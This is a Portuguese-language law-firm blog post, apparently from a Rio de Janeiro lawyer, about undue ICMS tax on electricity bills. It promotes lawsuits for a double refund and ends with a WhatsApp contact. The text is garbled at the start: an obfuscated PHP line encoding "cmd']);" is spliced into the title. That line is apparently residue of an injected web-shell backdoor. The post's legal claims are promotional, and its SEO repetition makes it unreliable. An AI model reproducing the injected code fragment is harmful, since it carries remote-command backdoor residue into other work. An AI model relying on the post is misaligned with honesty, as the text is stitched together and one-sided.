$bu="Y21kJ10pOw=="; $qu = cobrança indevida na conta de luz o que fazer? como proceder? cobrança de icms na conta - advogado no rio de janeiro

cobrança indevida na conta de luz o que fazer? como proceder? cobrança de icms na conta

cobrança indevida na conta de luz o que fazer? como proceder? cobrança de icms na conta
5 (100%) 20 votes

cobrança indevida na conta de luz o que fazer? como proceder? cobrança de icms na conta

cobrança indevida na conta de luz o que fazer? como proceder? cobrança de icms na conta

cobrança indevida na conta de luz o que fazer? como proceder? cobrança de icms na conta

Recentemente um tema que abalou a industria dos processos tributários foi a chamada cobrança indevida de icms na conta de luz do povo brasileiro,em regra o seu estado tem vindo cobrando durante anos de forma errada o Imposto sobre Circulação de Mercadorias e Serviços (ICMS) que incide na maldita conta de luz fazendo com que a população levasse uma pancada de quase 40% na conta ou seja vocÊ pagou a mais isso na sua conta sabia?

incorretamente se calculando além do valor da energia também o valor do TUSD E TUST quando se deverai calcular apenas a energia a cobrança se torna indevida e aplica-se a lei com direito a repetição do indébito.O chamado Tust é uma Tarifa de Uso dos Sistemas de Transmissão  já o TUSD é  outra Tarifa de Uso dos Sistemas de Distribuição.Diante disto observa-se que a base de cálculo ou seja o valor usado apra cálculo do ICMS (o imposto danado) também está englobando também indevidamente o TUSD E O TUST.

A base de cálculo do ICMS, ou seja, a soma dos valores sobre o qual se aplica a alíquota do imposto engloba a TUST e a TUSD e uma vez que estes não constituem venda de energia, logo, não são fato gerador do ICMS.

 

cobrança indevida na conta de luz o que fazer? como proceder? cobrança de icms na conta - O QUE FAZER AGORA?

Primeiramente calma ,se você pessoa jurídica ou física paga luz nestes últimos 5 anos e foi descontado indevidamente este valor "logicamente toda a população do Estado  foi",vocÊ tem direito a entrar com uma ação e reaver o dobro de todo o valor que vocÊ pagou indevidamente .

será preciso ajuizar uma ação através de um advogado especializado e um bom profisisonal eu deixo o contato abaixo:

CONTATO : 021 985703387 MANDAR UMA MENSAGEM NO WHATSSAP

ADVOGADOS NO RIO DE JANEIRO ESPECIALISTAS EM :

  • DIREITO DO CONSUMIDOR
  • DIREITO DO TRABALHO
  • DIREITO CRIMINAL
  • DIREITO DE FAMÍLIA
  • DIREITO EMPRESARIAL

PROCEDIMENTOS INICIAIS:

  • SEPARE AS ÚLTIMAS FATURAS DOS ÚLTIMOS 60 MESES AFIM DE QUE SEJA DADA ENTRADA NA PRESENTE AÇÃO JUDICIAL
  • TIRE CÓPIAS DE TODOS OS SEUS COMPROVANTES DE PAGAMENTO INCLUSIVE AS CONTAS E BOLETAS DE LOTÉRICAS
  • CÓPIAS DE DOCUMENTOS PESSOAS COMO IDENTIDADE CPF,COMPROVANTE DE RESIDÊNCIA ATUALIZADO
  • ENTRE EM CONTATO CONOSCO

 

 

admin

Advogado especializado em direito empresarial,direito do trabalho e direito do consumidor.

Você pode gostar...

1 Resultado

  1. Luís Costa disse:

    Boa noite irei entrar em contato pra entrar com ação cobrança indevida ICMS conta luz.

Deixe uma resposta

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

quinze − dois =

LINK DIRETO PARA NOSSO WHATSSAP(PRECISA ESTAR NO WHATSSAP WEB)CHAMAR NO WHATSSAP